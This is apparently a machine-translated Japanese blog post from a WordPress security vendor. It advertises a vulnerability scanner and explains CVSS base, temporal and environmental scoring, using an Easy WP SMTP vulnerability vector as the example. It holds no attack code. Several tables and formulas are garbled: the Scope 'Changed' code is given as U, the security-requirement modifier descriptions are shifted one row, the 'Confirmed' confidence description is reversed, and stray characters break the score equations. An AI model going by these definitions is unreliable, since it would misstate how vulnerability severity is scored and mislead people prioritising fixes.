iThemes Security Pro Site Scannerは、すべてのWordPressWebサイトの脆弱性保護を自動化する方法です。サイトスキャナーは、既知の脆弱性についてサイトをチェックし、パッチが利用可能な場合は自動的に適用します。

iThemes Security Proサイトは、3種類の脆弱性をチェックします。

WordPressの脆弱性
プラグインの脆弱性
テーマの脆弱性

iThemes Sync Proサイト監査機能は、GoogleLighthouseの機能を活用してWebサイトを保護します。サイト監査は、既知のセキュリティ脆弱性を持つフロントエンドJavaScriptライブラリを含むページをチェックしてフラグを立てます。

開発者は、プラグインやテーマでJSライブラリなどのサードパーティコードを使用するのが一般的です。残念ながら、ライブラリが適切に維持されていないと、攻撃者がWebサイトをハッキングするために利用できる脆弱性が作成される可能性があります。既知の脆弱性を持つコンポーネントの使用は、OWASPトップ10リストにあります。

サイト監査は私のベーコンを救った！ Sync Proに毎週自動監査を実行させ、監査レポートを電子メールで送信するための監査スケジュールを作成しました。私はすべてを最新の状態に保っています。そのため、自分のWebサイトの監査で、既知のセキュリティの脆弱性を持つJavaScriptライブラリを使用していることにショックを受けました。

レポートは、既知の脆弱性が散らばっているWebサイトのWordPressディレクトリにある古いバージョンのjQueryを指摘しました。私にとって幸運なことに、Sync Pro Site Auditで、既知のセキュリティ脆弱性を持つJavaScriptライブラリを使用していて、Webサイトがハッキングされる前に問題を解決できたことがわかりました。

WordPressの脆弱性リスクを測定する方法

WordPressの脆弱性にはいくつかの種類があり、すべてリスクの程度が異なります。幸いなことに、国立科学技術研究所のプロジェクトであるNational Vulnerability Databaseには、脆弱性のリスクを判断するための脆弱性スコアリングシステム計算機があります。

WordPress脆弱性ガイドのこのセクションでは、脆弱性スコアリングシステムのメトリックと重大度レベルについて説明します。このセクションはかなり技術的ですが、一部のユーザーは、WordPressの脆弱性とその重大度がどのように評価されるかについての理解を深めるのに役立つと感じるかもしれません。

一般的なWordPressの脆弱性スコアリングシステムの指標

脆弱性スコアリングシステムの方程式は、3つの異なるスコアのセットを使用して、全体的な重大度スコアを決定します。

1.基本メトリクス

基本メトリックグループは、ユーザー環境全体で一定である脆弱性の特性を表します。

基本メトリクスは、悪用可能性と影響の2つのグループに分けられます。

1.1。悪用可能性メトリック

悪用可能性スコアは、攻撃者が脆弱性を利用することがどれほど難しいかに基づいています。スコアは、5つの異なる変数を使用して計算されます。

1.1.1。攻撃ベクトル（AV）

攻撃ベクトルスコアは、脆弱性が悪用される方法に基づいています。攻撃者が脆弱性を悪用する可能性が高いほど、スコアは高くなります。

デバイスのエクスプロイトへの物理的なアクセスを必要とする脆弱性と比較して、ネットワークを介して脆弱性を悪用できる場合、潜在的な攻撃者の数ははるかに多くなるという考えです。

潜在的な攻撃者が多いほど、悪用のリスクが高くなるため、脆弱性に与えられる攻撃ベクトルスコアは高くなります。

アクセスが必要	説明
ネットワーク（N）	ネットワークで悪用可能な脆弱性アクセスとは、脆弱なコンポーネントがリモートで悪用可能であることを意味します。
隣接ネットワーク（AV：A）	隣接ネットワークで悪用可能な脆弱性アクセスとは、脆弱なコンポーネントがネットワークスタックにバインドされていることを意味します。ただし、攻撃は同じ共有物理ネットワークまたは論理ネットワークに限定されます。
ローカル（AV：L）	ローカルで悪用可能な脆弱性アクセスとは、脆弱なコンポーネントがネットワークスタックにバインドされていないことを意味します。場合によっては、攻撃者は脆弱性を悪用するためにローカルにログインしたり、悪意のあるファイルを実行するためにユーザーインタラクションに依存したりする可能性があります。
物理的（AV：P）	フィジカルで悪用可能な脆弱性アクセス攻撃者は、周辺機器をシステムに接続するなど、脆弱なコンポーネントに物理的に触れたり操作したりする必要があります。

1.1.2。攻撃の複雑さ（AC）

複雑さの値は、脆弱性を悪用するために必要な条件に基づいています。条件によっては、ターゲット、特定のシステム構成設定の存在、または計算上の例外に関する詳細情報を収集する必要がある場合があります。

攻撃の複雑さのスコアは、脆弱性を悪用するために必要な複雑さが低いほど高くなります。

エクスプロイト条件の複雑さ	説明
低（L）	特殊なアクセス条件や酌量すべき事情はありません。攻撃者は、脆弱なコンポーネントに対して繰り返し成功することを期待できます。
高（H）	攻撃が成功するかどうかは、攻撃者の制御が及ばない状況によって異なります。攻撃を成功させることは自由に行うことはできませんが、攻撃の成功を期待する前に、攻撃者は脆弱なコンポーネントに対する準備または実行にある程度の労力を費やす必要があります。

1.1.3。必要な特権（PR）

必要な特権のスコアは、攻撃者が脆弱性を悪用する前に取得する必要のある特権に基づいて計算されます。これについては、「認証済み」と「未認証」のセクションでもう少し詳しく説明します。

特権が必要ない場合、スコアは最高になります。

必要な特権レベル	説明
なし（N）	攻撃者は攻撃前は許可されていないため、攻撃を実行するために設定やファイルにアクセスする必要はありません。
低（L）	攻撃者は、通常はユーザーが所有する設定とファイルにのみ影響を与える可能性のある基本的なユーザー機能を提供する特権を付与されます。または、権限の低い攻撃者は、機密性の低いリソースにのみ影響を与える可能性があります。
高（H）	攻撃者は、コンポーネント全体の設定とファイルに影響を与える可能性のある脆弱なコンポーネントに対する重要な（管理などの）制御を提供する（つまり、必要な）特権を付与されます。

1.1.4。ユーザーインタラクション（UI）

ユーザーインタラクションスコアは、脆弱性を悪用するためにユーザーインタラクションが必要かどうかに基づいて決定されます。

攻撃者が脆弱性を悪用するためにユーザーの操作が必要ない場合、スコアが最も高くなります。

ユーザーインタラクションの要件	説明
なし（N）	脆弱なシステムは、ユーザーの操作なしで悪用される可能性があります。
必須（R）	この脆弱性の悪用を成功させるには、ユーザーに電子メール内のリンクをクリックするように説得するなど、脆弱性を悪用する前に何らかのアクションを実行する必要があります。

1.1.5。範囲

スコープスコアは、セキュリティスコープを超えてリソースに影響を与える1つのソフトウェアコンポーネントの脆弱性に基づいています。

セキュリティスコープには、他のコンポーネントに独自のセキュリティ権限がある場合でも、そのコンポーネントにのみ機能を提供する他のコンポーネントが含まれます。

スコープの変更が発生したときにスコアが最も高くなります。

範囲	説明
変更なし（U）	悪用された脆弱性は、同じ機関によって管理されているリソースにのみ影響を与える可能性があります。この場合、脆弱なコンポーネントと影響を受けるコンポーネントは同じです。
変更（U）	悪用された脆弱性は、脆弱なコンポーネントが意図する許可特権を超えてリソースに影響を与える可能性があります。この場合、脆弱なコンポーネントと影響を受けるコンポーネントは異なります。

1.2。影響指標

影響メトリックは、悪用に成功した脆弱性の直接的な影響をキャプチャします。

1.2.1。機密の影響（C）

この機密影響スコアは、悪用されたソフトウェアによって管理される情報の機密性への影響を測定します。

影響を受けるソフトウェアの損失が最も大きいときにスコアが最も高くなります。

守秘義務への影響	説明
高（H）	機密性が完全に失われ、悪用されたソフトウェア内のすべてのリソースが攻撃者に開示されます。
低（L）	機密性がいくらか失われます。攻撃者は、いくつかの制限された情報にアクセスしました。
なし（N）	悪用されたソフトウェア内の機密性が失われることはありません。

1.2.2。誠実さ（I）

この整合性スコアは、悪用に成功した脆弱性の整合性への影響に基づいています。

影響を受けるソフトウェアの結果が最大の場合、スコアが最も高くなります。

整合性への影響	説明
高（H）	完全性が完全に失われるか、保護が完全に失われます。
低（L）	データの変更は、影響を受けるソフトウェアに直接の深刻な影響を及ぼしません。
なし（N）	影響を受けるソフトウェア内の整合性が失われることはありません。

1.2.3。可用性（A）

可用性スコアは、悪用されたソフトウェアの可用性の影響に基づいています。

影響を受けるコンポーネントの結果が最大のときにスコアが最大になります。

可用性への影響	説明
高（H）	可用性が完全に失われ、攻撃者は悪用されたソフトウェアのリソースへのアクセスを完全に拒否します。
低（L）	パフォーマンスの低下またはリソースの可用性の中断があります。
なし（N）	影響を受けるソフトウェア内の可用性に影響はありません。

基本スコアCVSSスコアの計算

基本スコアは、影響と悪用可能性のサブスコア方程式の関数です。基本スコアが次のように定義されている場合、

 If (Impact sub score <= 0) 0 else, Scope Unchanged ₄ Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] ¹⁵ Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

2.時間スコアメトリック

時間メトリックは、エクスプロイトテクニックの現在の状態、パッチまたは回避策の存在、または脆弱性の説明に対する信頼度を測定します。

時間メトリックは、時間の経過とともに変化すると予想され、変化します。

2.1。コードの成熟度を悪用する（E）

エクスプロイトコードの成熟度は、脆弱性が攻撃される可能性に基づいています。

脆弱性が悪用されやすいほど、脆弱性スコアは高くなります。

コードの成熟度の値を悪用する	説明
未定義（X）	この値をメトリックに割り当てても、スコアには影響しません。このメトリックをスキップすることは、スコアリング方程式へのシグナルです。
高（H）	機能的な自律コードが存在するか、エクスプロイトは不要であり、詳細は広く入手できます。
機能的（F）	機能的なエクスプロイトコードが利用可能です。このコードは、脆弱性が存在するほとんどの状況で機能します。
概念実証（P）	概念実証エクスプロイトコードが利用可能であるか、攻撃のデモンストレーションはほとんどのシステムで実用的ではありません。
証明されていない（U）	エクスプロイトコードが利用できないか、エクスプロイトは完全に理論的です。

2.2。修復レベル（RL）

脆弱性の修復レベルは、優先順位付けの重要な要素です。回避策または修正プログラムは、公式のパッチまたはアップグレードが発行されるまで、暫定的な修正を提供する場合があります。

公式で永続的な修正が少ないほど、脆弱性スコアは高くなります。

修復レベル値	説明
未定義（X）	未定義の修復値は、他の修復値の1つを選択するための情報が不十分であることを意味します。 Not Definedの値は、全体的なTemporal Scoreに影響を与えず、Unavailableと同じ効果をスコアに与えます。
利用不可（U）	解決策はありません。
回避策（W）	非公式の非ベンダーソリューションが利用可能です。たとえば、ユーザーまたはその他のサードパーティが、脆弱性を軽減するためのパッチまたは回避策を作成しました。
一時的な修正（T）	公式ですが一時的な修正が利用可能です。たとえば、ソフトウェア開発者は一時的な修正プログラムを発行したり、脆弱性を軽減するための回避策を提供したりしています。
公式修正（O）	ソフトウェア開発者は、この脆弱性に対する公式パッチを発行しました。

2.3。レポートの信頼性（RC）

Report Confidenceメトリックは、脆弱性が存在するという信頼性のレベルと、技術的な詳細の信頼性を測定します。

ベンダーまたは他の信頼できるソースによって脆弱性が検証されるほど、スコアは高くなります。

信頼値を報告する	説明
未定義（X）	未定義のレポート信頼値は、他の信頼値の1つを割り当てるのに十分な情報がないことを意味します。 Not Definedの値は、レポートの信頼性スコア全体に影響を与えず、スコアリングにUnavailableと同じ影響を与えます。
確認済み（C）	脆弱性を悪用する方法の概念が不十分な詳細なレポートが存在するか、ソフトウェア開発者が脆弱性の存在を確認しています。
リーズナブル（R）	重要な詳細が記載されたレポートが存在しますが、研究者は根本原因を完全に確信していないか、悪用につながる可能性のあるすべての相互作用を完全に確認することはできません。ただし、バグは再現可能であり、少なくとも1つの概念実証が存在します。
不明（U）	脆弱性が存在することを示す影響の報告がありますが、脆弱性の原因は不明です。

時間的CVSSスコアの計算

時間スコアは、次のように定義されます。

 Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3.環境スコアメトリクス

環境メトリクスにより、アナリストは影響を受けるIT資産の重要性に基づいてスコアリングされたCVSSをカスタマイズできます。

環境の悪用可能性と影響のメトリックは、基本メトリックと同等に変更され、組織のインフラストラクチャのコンポーネントの配置に基づいて値が割り当てられます。悪用可能性と影響のメトリックの値と説明を表示するには、上記の基本メトリックのセクションを参照してください。

環境メトリックには、追加のグループ、Impact SubscoreModifiersが含まれています。

3.1。 Impact Subscore Modifiers Metrics

Impact Subscore Modifiersメトリックは、機密性（CR）、整合性（IR）、および可用性（AR）の特定のセキュリティ要件を評価し、ユーザーの環境に応じて環境スコアを微調整できるようにします。

インパクトサブスコア値	説明
未定義（CR：X）	（機密性/完全性/可用性）の喪失は、組織に限定的な影響しか及ぼさない可能性があります。
低（CR：L）	（機密性/完全性/可用性）の喪失は、組織に深刻な影響を与える可能性があります。
中（CR：M）	（機密性/完全性/可用性）の喪失は、組織に壊滅的な影響を与える可能性があります。
高（CR：H）	これは、このスコアを無視するためのシグナルです。

環境CVSSスコアの計算

環境スコアは次のように定義されます。

 If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC _Modified ] If Modified Scope is Changed 7.52 × [ISC _Modified - 0.029]-3.25× [ISC _Modified × 0.9731 - 0.02] 13 Where, ISC _Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

全体的なCVSSスコアと重大度

全体的な共通脆弱性スコアリングシステムまたはCVSSスコアは、基本スコア、時間スコア、および環境スコアを表しています。

全体的なCVSSスコアを使用して、脆弱性がどれほど深刻または深刻であるかを知ることができます。

CVSSスコア	重大度
0.0	なし
0.1 – 3.9	低い
4.0 – 6.9	中くらい
7.0 – 8.9	高い
9.0 – 10.0	致命的

実世界のCVSS重大度評価の例

2020年12月の脆弱性ラウンドアップで、Easy WPSMTPプラグインの脆弱性について報告しました。ゼロデイ（次のセクションでゼロデイの脆弱性について説明します）の脆弱性により、攻撃者は管理者アカウントを制御することができ、実際に悪用されていました。

National Vulnerability Databaseエントリを見ると、WPSMTPの脆弱性の重大度がわかります。

上記のWPSMTPNVDBスクリーンショットからいくつかのことを分析してみましょう。

基本スコア：基本スコアは7.5です。これは、脆弱性の重大度が高いことを示しています。

ベクトル：ベクトルは、スコアがCVSS3.1の脆弱性方程式とスコアの計算に使用されるメトリックに基づいていることを示しています。

これがベクトルのメトリック部分です。

 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

次に、この投稿の前半の基本メトリック値と説明を使用して、ベクトルの8つのメトリック値を理解しましょう。

AV：N –これは、脆弱性の攻撃ベクトル（AV）がネットワーク（N）であることを意味します。言い換えれば、攻撃者は脆弱性を悪用するためにネットワークアクセスのみを必要とします。
AC：L –脆弱性の攻撃の複雑さ（AC）は低（L）です。言い換えれば、スクリプトキディはこの脆弱性を悪用する可能性があります。
PR：N –脆弱性を悪用するために必要な特権（PR）はなし（N）です。したがって、この脆弱性は、認証されたユーザーが悪用する必要はありません。（認証済みと未認証の脆弱性の違いについては、この投稿の後半で説明します。）
UI：N –この脆弱性を悪用するために必要なユーザーインタラクション（UI）はなし（N）です。したがって、攻撃者は自分で脆弱性を悪用する手段を持っています。
S：U –これは、脆弱性のスコープ（S）が変更されていない（U）ことを意味します。この脆弱性の場合、脆弱なコンポーネントと影響を受けるコンポーネントは同じです。
C：H –脆弱性の機密性への影響（C）は高（H）です。この脆弱性が悪用されると、機密性が完全に失われます。
I：N –この脆弱性の整合性への影響（I）はなし（N）です。脆弱性が悪用されても、脆弱な情報の整合性や信頼性が失われることはありません。
A：N –これは、可用性への影響（A）がなし（N）であることを意味します。脆弱性が悪用されても、Webサイトの可用性に影響はありません。

CVSSスコアは、特定の脆弱性の重大度と範囲を判断するのに役立ちます。次のいくつかのセクションでは、脆弱性の開示に含まれることが多いいくつかの重要な脆弱性の用語について説明します。